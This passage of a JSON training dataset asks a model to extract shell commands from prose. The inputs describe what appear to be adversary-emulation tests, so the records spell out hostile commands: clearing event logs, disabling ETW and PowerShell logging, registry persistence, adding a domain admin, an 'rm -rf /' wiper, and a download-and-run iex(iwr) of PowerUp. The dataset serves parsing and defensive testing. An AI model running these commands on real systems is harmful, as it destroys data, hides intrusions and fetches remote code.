Panel\\Desktop\" %userprofile%\\backup.reg\ncopy #{input_binary} \"%SystemRoot%\\System32\\evilscreensaver.scr\"\nreg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v ScreenSaveActive /t REG_SZ /d 1 /f\nreg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v ScreenSaveTimeout /t REG_SZ /d 60 /f\nreg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f\nreg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v SCRNSAVE.EXE /t REG_SZ /d \"%SystemRoot%\\System32\\evilscreensaver.scr\" /f\nif #{reboot} NEQ 0 shutdown /r /t 0", "output": "{\"command_list\": [\"docker build -t t1609 $PathtoAtomicsFolder/T1609/src/ \\ndocker run --name t1609_container --rm -itd t1609 bash /tmp/script.sh\\ndocker exec -i t1609_container bash -c \\\"cat /tmp/output.txt\\\"\\n\", \"reg export \\\"HKEY_CURRENT_USER\\\\Control Panel\\\\Desktop\\\" %userprofile%\\\\backup.reg\\ncopy #{input_binary} \\\"%SystemRoot%\\\\System32\\\\evilscreensaver.scr\\\"\\nreg.exe add \\\"HKEY_CURRENT_USER\\\\Control Panel\\\\Desktop\\\" /v ScreenSaveActive /t REG_SZ /d 1 /f\\nreg.exe add \\\"HKEY_CURRENT_USER\\\\Control Panel\\\\Desktop\\\" /v ScreenSaveTimeout /t REG_SZ /d 60 /f\\nreg.exe add \\\"HKEY_CURRENT_USER\\\\Control Panel\\\\Desktop\\\" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f\\nreg.exe add \\\"HKEY_CURRENT_USER\\\\Control Panel\\\\Desktop\\\" /v SCRNSAVE.EXE /t REG_SZ /d \\\"%SystemRoot%\\\\System32\\\\evilscreensaver.scr\\\" /f\\nif #{reboot} NEQ 0 shutdown /r /t 0\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To emulate modifications to auditd configuration files, run the following command: sed -i '$ a #art_test_1562_006_1' /etc/audisp/#{audisp_config_file_name}\nif [ -f \"/etc/#{auditd_config_file_name}\" ];\nthen sed -i '$ a #art_test_1562_006_1' /etc/#{auditd_config_file_name}\nelse sed -i '$ a #art_test_1562_006_1' /etc/audit/#{auditd_config_file_name}\nfi \nsed -i '$ a #art_test_1562_006_1' /etc/#{libaudit_config_file_name}\n; This test emulates changes to auditd configuration files with the command: echo '#art_test_1562_006_1' >> /etc/security/#{auditd_config_file_name}\n", "output": "{\"command_list\": [\"sed -i '$ a #art_test_1562_006_1' /etc/audisp/#{audisp_config_file_name}\\nif [ -f \\\"/etc/#{auditd_config_file_name}\\\" ];\\nthen sed -i '$ a #art_test_1562_006_1' /etc/#{auditd_config_file_name}\\nelse sed -i '$ a #art_test_1562_006_1' /etc/audit/#{auditd_config_file_name}\\nfi \\nsed -i '$ a #art_test_1562_006_1' /etc/#{libaudit_config_file_name}\\n\", \"echo '#art_test_1562_006_1' >> /etc/security/#{auditd_config_file_name}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To clear Windows Event Logs, run the following command and then verify the System.evtx logs at C:\\Windows\\System32\\winevt\\Logs are empty: wevtutil cl #{log_name}\n; To clear all event logs using PowerShell, run the following commands: $logs = Get-EventLog -List | ForEach-Object {$_.Log}\n$logs | ForEach-Object {Clear-EventLog -LogName $_ }\nGet-EventLog -list\n. After execution, verify the Security.evtx logs at C:\\Windows\\System32\\winevt\\Logs are empty.", "output": "{\"command_list\": [\"wevtutil cl #{log_name}\\n\", \"$logs = Get-EventLog -List | ForEach-Object {$_.Log}\\n$logs | ForEach-Object {Clear-EventLog -LogName $_ }\\nGet-EventLog -list\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The following command disables ETW for .NET Framework by updating the registry with the COMPlus_ETWEnabled variable set to 0: REG ADD HKCU\\Environment /v COMPlus_ETWEnabled /t REG_SZ /d 0 /f. Remember that you may need to log out for the settings to become active.; For disabling ETW in the .NET Framework, use the following command to modify the HKCU registry: New-ItemProperty -Path HKCU:\\Environment -Name COMPlus_ETWEnabled -Value 0 -PropertyType \"String\" -Force. A system logout might be necessary to apply these changes.", "output": "{\"command_list\": [\"REG ADD HKCU\\\\Environment /v COMPlus_ETWEnabled /t REG_SZ /d 0 /f\", \"New-ItemProperty -Path HKCU:\\\\Environment -Name COMPlus_ETWEnabled -Value 0 -PropertyType \\\"String\\\" -Force\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This process mimics the MirrorBlast T505 campaign's JS->MSI chain by executing a specially designed xlsm file, which requires the 32-bit Office version, via these commands: Cd \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\"\nNew-ItemProperty -Path Registry::HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Office\\16.0\\Excel\\Security -Name \"VBAWarnings\" -Value \"1\" -PropertyType DWORD -Force | Out-Null\n& '.\\Excel 2016.lnk' \"PathToAtomicsFolder\\T1204.002\\bin\\mirrorblast_emulation.xlsm\"; For creating a new domain admin account, use the following command sequence: net user \"#{username}\" \"#{password}\" /add /domain\nnet group \"#{group}\" \"#{username}\" /add /domain\n", "output": "{\"command_list\": [\"Cd \\\"C:\\\\ProgramData\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\"\\nNew-ItemProperty -Path Registry::HKEY_CURRENT_USER\\\\SOFTWARE\\\\Microsoft\\\\Office\\\\16.0\\\\Excel\\\\Security -Name \\\"VBAWarnings\\\" -Value \\\"1\\\" -PropertyType DWORD -Force | Out-Null\\n& '.\\\\Excel 2016.lnk' \\\"PathToAtomicsFolder\\\\T1204.002\\\\bin\\\\mirrorblast_emulation.xlsm\\\"\", \"net user \\\"#{username}\\\" \\\"#{password}\\\" /add /domain\\nnet group \\\"#{group}\\\" \\\"#{username}\\\" /add /domain\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To demonstrate the destructive capability used by Amnesia IoT malware, here's the command that irreversibly deletes all files in a Linux system's root directory - warning: this is purely for educational purposes: [ \"$(uname)\" = 'Linux' ] && rm -rf / --no-preserve-root > /dev/null 2> /dev/null || chflags -R 0 / && rm -rf / > /dev/null 2> /dev/null; To delete a single prefetch file, which is a known anti-forensic technique, use the following command: Remove-Item -Path (Join-Path \"$Env:SystemRoot\\prefetch\\\" (Get-ChildItem -Path \"$Env:SystemRoot\\prefetch\\*.pf\" -Name)[0]). Verify execution by running `(Get-ChildItem -Path \"$Env:SystemRoot\\prefetch\\*.pf\" | Measure-Object).Count` before and after to confirm the count decreases by 1.", "output": "{\"command_list\": [\"[ \\\"$(uname)\\\" = 'Linux' ] && rm -rf / --no-preserve-root > /dev/null 2> /dev/null || chflags -R 0 / && rm -rf / > /dev/null 2> /dev/null\\n\", \"Remove-Item -Path (Join-Path \\\"$Env:SystemRoot\\\\prefetch\\\\\\\" (Get-ChildItem -Path \\\"$Env:SystemRoot\\\\prefetch\\\\*.pf\\\" -Name)[0])\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To disable PowerShell Module Logging, Script Block Logging, Transcription, and Script Execution for the current user, run the following commands in the cmd console: reg add HKCU\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging /v EnableModuleLogging /t REG_DWORD /d 0 /f\nreg add HKCU\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging /v EnableScriptBlockLogging /t REG_DWORD /d 0 /f\nreg add HKCU\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription /v EnableTranscripting /t REG_DWORD /d 0 /f\nreg add HKCU\\Software\\Policies\\Microsoft\\Windows\\PowerShell /v EnableScripts /t REG_DWORD /d 0 /f\nreg delete HKCU\\Software\\Policies\\Microsoft\\Windows\\PowerShell /v EnableScripts /f >nul 2>&1; You can configure a driver or service to persist in Safe Mode by executing the registry modification command: REG ADD \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\Minimal\\AtomicSafeMode\" /VE /T REG_SZ /F /D \"Service\"", "output": "{\"command_list\": [\"reg add HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\PowerShell\\\\ModuleLogging /v EnableModuleLogging /t REG_DWORD /d 0 /f\\nreg add HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\PowerShell\\\\ScriptBlockLogging /v EnableScriptBlockLogging /t REG_DWORD /d 0 /f\\nreg add HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\PowerShell\\\\Transcription /v EnableTranscripting /t REG_DWORD /d 0 /f\\nreg add HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\PowerShell /v EnableScripts /t REG_DWORD /d 0 /f\\nreg delete HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\PowerShell /v EnableScripts /f >nul 2>&1\\n\", \"REG ADD \\\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SafeBoot\\\\Minimal\\\\AtomicSafeMode\\\" /VE /T REG_SZ /F /D \\\"Service\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: 